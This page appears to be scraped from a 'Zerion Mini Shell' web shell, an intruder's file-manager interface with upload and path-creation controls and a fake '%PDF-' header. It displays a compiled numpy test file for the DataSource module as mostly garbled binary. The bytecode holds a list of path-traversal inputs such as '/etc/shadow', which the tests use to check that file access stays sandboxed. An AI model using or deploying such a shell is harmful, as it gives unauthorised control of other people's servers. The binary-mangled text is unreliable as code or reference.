%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib64/python3.9/site-packages/numpy/lib/tests/__pycache__/
Upload File :
Create Path :
Current File : //lib64/python3.9/site-packages/numpy/lib/tests/__pycache__/test__datasource.cpython-39.pyc

a

z[ycK)�@sTddlZddlZddlmZmZmZddlmZddlm	m
Zddlm
Z
mZmZddlmZddlmZddlmZd1dd�Zdad	d
�Zdd�Zd
ZdZdZdZgd�ZdZ dd�Z!dd�Z"dd�Z#dd�Z$dd�Z%dd�Z&dd �Z'd!d"�Z(Gd#d$�d$�Z)Gd%d&�d&�Z*Gd'd(�d(�Z+Gd)d*�d*�Z,Gd+d,�d,�Z-Gd-d.�d.�Z.d/d0�Z/dS)2�N)�mkdtemp�mkstemp�NamedTemporaryFile)�rmtree)�assert_�assert_equal�
assert_raises)�urlparse)�URLErrorcCs$|t�krtdd�}|Std��dS)z$Stub to replace urlopen for testing.Zurltmp_)�prefixzName or service not knownN)�
valid_httpurlrr
)�url�data�tmpfile�r�F/usr/lib64/python3.9/site-packages/numpy/lib/tests/test__datasource.py�urlopen_stubs

rcCstjatt_dS�N)�urllib_request�urlopen�old_urlopenrrrrr�setup_modulesrcCs
tt_dSr)rrrrrrr�teardown_module!srzhttp://www.google.com/z
index.htmlzhttp://fake.abc.web/site/zfake.txt)z/etc/shadowz../../shadowz
..\system.datzc:\windows\system.datsthree is the magic numbercCs"tdd|dd�\}}t�|�|S)N�.txt�dstmp_T)�suffixr�dir�text)r�os�close�Zfiledir�fd�pathrrr�valid_textfile2s
r#cCs*tdd|d�\}}t�|�t�|�|S)Nrr)rrr)rrr�remover rrr�invalid_textfile9s

r%cCsttSr)�	http_path�	http_filerrrrrAsrcCsttSr)�
http_fakepath�
http_fakefilerrrr�invalid_httpurlEsr*cCstSr)r&rrrr�
valid_baseurlIsr+cCstSr)r(rrrr�invalid_baseurlMsr,cCstSr)r'rrrr�valid_httpfileQsr-cCstSr)r)rrrr�invalid_httpfileUsr.c@sTeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)�TestDataSourceOpencCst�|_t�|j�|_dSr�r�tmpdir�
datasource�
DataSource�ds��selfrrr�setup_methodZszTestDataSourceOpen.setup_methodcCst|j�|`dSr�rr1r4r5rrr�teardown_method^s
z"TestDataSourceOpen.teardown_methodcCs"|j�t��}t|�|��dSr)r4�openrrr)r6�fhrrr�test_ValidHTTPbsz!TestDataSourceOpen.test_ValidHTTPc
Cs^t�}tt|jj|�z|j�|�Wn2tyX}zt|jdu�WYd}~n
d}~00dSr)r*r�OSErrorr4r:r�errno)r6r
�errr�test_InvalidHTTPgsz#TestDataSourceOpen.test_InvalidHTTPcCstt|jjt��dSr)rr
r4�_cacher*r5rrr�test_InvalidHTTPCacheURLErrorpsz0TestDataSourceOpen.test_InvalidHTTPCacheURLErrorcCs*t|j�}|j�|�}t|�|��dSr)r#r1r4r:rr)r6�
local_filer;rrr�test_ValidFiless
z!TestDataSourceOpen.test_ValidFilecCst|j�}tt|jj|�dSr)r%r1rr=r4r:)r6Zinvalid_filerrr�test_InvalidFileys
z#TestDataSourceOpen.test_InvalidFilecCs�zddl}Wnty&t��Yn0tj�|jd�}|�|d�}|�	t
�|��|j�|�}|�
�}|��tt
|�dS)Nrz
foobar.txt.gz�w)�gzip�ImportError�pytest�skiprr"�joinr1r:�write�
magic_linerr4�readliner)r6rG�filepath�fp�resultrrr�test_ValidGzipFile}s
z%TestDataSourceOpen.test_ValidGzipFilecCs�zddl}Wnty&t��Yn0tj�|jd�}|�|d�}|�	t
�|��|j�
|�}|��}|��tt
|�dS)Nrzfoobar.txt.bz2rF)�bz2rHrIrJrr"rKr1�BZ2FilerLrMrr4r:rNr)r6rSrOrPrQrrr�test_ValidBz2File�s
z$TestDataSourceOpen.test_ValidBz2FileN)�__name__�
__module__�__qualname__r7r9r<r@rBrDrErRrUrrrrr/Ys	r/c@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�TestDataSourceExistscCst�|_t�|j�|_dSrr0r5rrrr7�sz!TestDataSourceExists.setup_methodcCst|j�|`dSrr8r5rrrr9�s
z$TestDataSourceExists.teardown_methodcCst|j�t���dSr)rr4�existsrr5rrrr<�sz#TestDataSourceExists.test_ValidHTTPcCst|j�t��d�dS�NF)rr4rZr*r5rrrr@�sz%TestDataSourceExists.test_InvalidHTTPcCsDt|j�}t|j�|��t�}t|�}t|j�|��t|�dSr)r#r1rr4rZrr)r6rZlocaldirrrrrD�s
z#TestDataSourceExists.test_ValidFilecCs t|j�}t|j�|�d�dSr[)r%r1rr4rZ�r6rrrrrE�s
z%TestDataSourceExists.test_InvalidFileN)	rVrWrXr7r9r<r@rDrErrrrrY�s
rYc@sLeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dS)�TestDataSourceAbspathcCs"tj�t��|_t�|j�|_dSr)rr"�abspathrr1r2r3r4r5rrrr7�sz"TestDataSourceAbspath.setup_methodcCst|j�|`dSrr8r5rrrr9�s
z%TestDataSourceAbspath.teardown_methodcCsNtt��\}}}}}}tj�|j||�tj��d��}t||j	�
t���dS�N�/)r	rrr"rKr1�strip�seprr4r^)r6�scheme�netloc�upath�pms�qry�frg�
local_pathrrrr<�s
�z$TestDataSourceAbspath.test_ValidHTTPcCsBt|j�}tj�|�d}t||j�|��t||j�|��dS�N���)r#r1rr"�splitrr4r^)r6r�tmpfilenamerrrrD�s
z$TestDataSourceAbspath.test_ValidFilecCsPtt��\}}}}}}tj�|j||�tj��d��}t||j	�
t��k�dSr_)r	r*rr"rKr1rarbrr4r^r)r6rcrdrerfrgrhZinvalidhttprrrr@�s
�z&TestDataSourceAbspath.test_InvalidHTTPcCsPt|j�}t|j�}tj�|�d}t||j�|�k�t||j�|�k�dSrj)r#r1rr"rlrr4r^)r6ZinvalidfilerrmrrrrE�s


z&TestDataSourceAbspath.test_InvalidFilecs�t�j�}tj�|�d}�fdd�}t|t����j��t|t����j��t||���j��t||���j��t	D]0}t|t
|���j��t||���j��q~dS)Nrkcstj��j�|��Sr)rr"r^r4��xr5rr�<lambda>��z7TestDataSourceAbspath.test_sandboxing.<locals>.<lambda>)r#r1rr"rlrr�
startswithr*�malicious_filesr&)r6rrm�tmp_path�fnrr5r�test_sandboxing�s
z%TestDataSourceAbspath.test_sandboxingcCsLtj}z8dt_|��|��|��|��|��W|t_n|t_0dS�N�\)rrbr<rDr@rErv�r6Zorig_os_seprrr�test_windows_os_sep�s
z)TestDataSourceAbspath.test_windows_os_sepN)rVrWrXr7r9r<rDr@rErvrzrrrrr]�s	r]c@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�TestRepositoryAbspathcCs&tj�t��|_t�t�|j�|_dSr)	rr"r^rr1r2�
Repositoryr+�reposr5rrrr7�sz"TestRepositoryAbspath.setup_methodcCst|j�|`dSr�rr1r}r5rrrr9s
z%TestRepositoryAbspath.teardown_methodc	CsTtt��\}}}}}}tj�|jj||�tj��d��}|j�	t
��}t||�dSr_)r	rrr"rKr}�	_destpathrarbr^r-r)	r6rcrdrerfrgrhrirOrrrr<s�z$TestRepositoryAbspath.test_ValidHTTPcs\�fdd�}t|t����j��tD]0}t|t|���j��t||���j��q&dS)Ncstj��j�|��Sr)rr"r^r}rnr5rrrprqz7TestRepositoryAbspath.test_sandboxing.<locals>.<lambda>)rr-rrr1rsr&)r6rtrurr5rrv
s
z%TestRepositoryAbspath.test_sandboxingcCs4tj}z dt_|��|��W|t_n|t_0dSrw)rrbr<rvryrrrrzs
z)TestRepositoryAbspath.test_windows_os_sepN)rVrWrXr7r9r<rvrzrrrrr{�s
r{c@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�TestRepositoryExistscCst�|_t�t�|j�|_dSr)rr1r2r|r+r}r5rrrr7sz!TestRepositoryExists.setup_methodcCst|j�|`dSrr~r5rrrr9#s
z$TestRepositoryExists.teardown_methodcCst|j�}t|j�|��dSr)r#r1rr}rZr\rrrrD's
z#TestRepositoryExists.test_ValidFilecCs t|j�}t|j�|�d�dSr[)r%r1rr}rZr\rrrrE,s
z%TestRepositoryExists.test_InvalidFilecCst|j�t���dSr)rr}rZrr5rrr�test_RemoveHTTPFile0sz(TestRepositoryExists.test_RemoveHTTPFilec
CsTt�}t|�\}}}}}}tj�|jj|�}t�|d�t|�}	t	|j�
|	��dS)Ni�)rr	rr"rKr}r�mkdirr#rrZ)
r6Z	localfilercrdrerfrgrhrirrrr�test_CachedHTTPFile3sz(TestRepositoryExists.test_CachedHTTPFileN)	rVrWrXr7r9rDrEr�r�rrrrr�sr�c@s$eZdZdd�Zdd�Zdd�ZdS)�TestOpenFunccCst�|_dSr)rr1r5rrrr7@szTestOpenFunc.setup_methodcCst|j�dSr)rr1r5rrrr9CszTestOpenFunc.teardown_methodcCsHt|j�}tj||jd�}t|�|��t�|�}t|�|��dS)N)Zdestpath)r#r1r2r:rr)r6rCrPrrr�test_DataSourceOpenFs

z TestOpenFunc.test_DataSourceOpenN)rVrWrXr7r9r�rrrrr�?sr�cCst��}|`|��dSr)r2r3Z
_istmpdest�__del__)r4rrr�test_del_attr_handlingQsr�)N)0rrIZtempfilerrr�shutilrZnumpy.lib._datasource�libZ_datasourcer2Z
numpy.testingrrrZurllib.requestZrequestr�urllib.parser	Zurllib.errorr
rrrrr&r'r(r)rsrMr#r%rr*r+r,r-r.r/rYr]r{r�r�r�rrrr�<module>sB
	EA!!

Zerion Mini Shell 1.0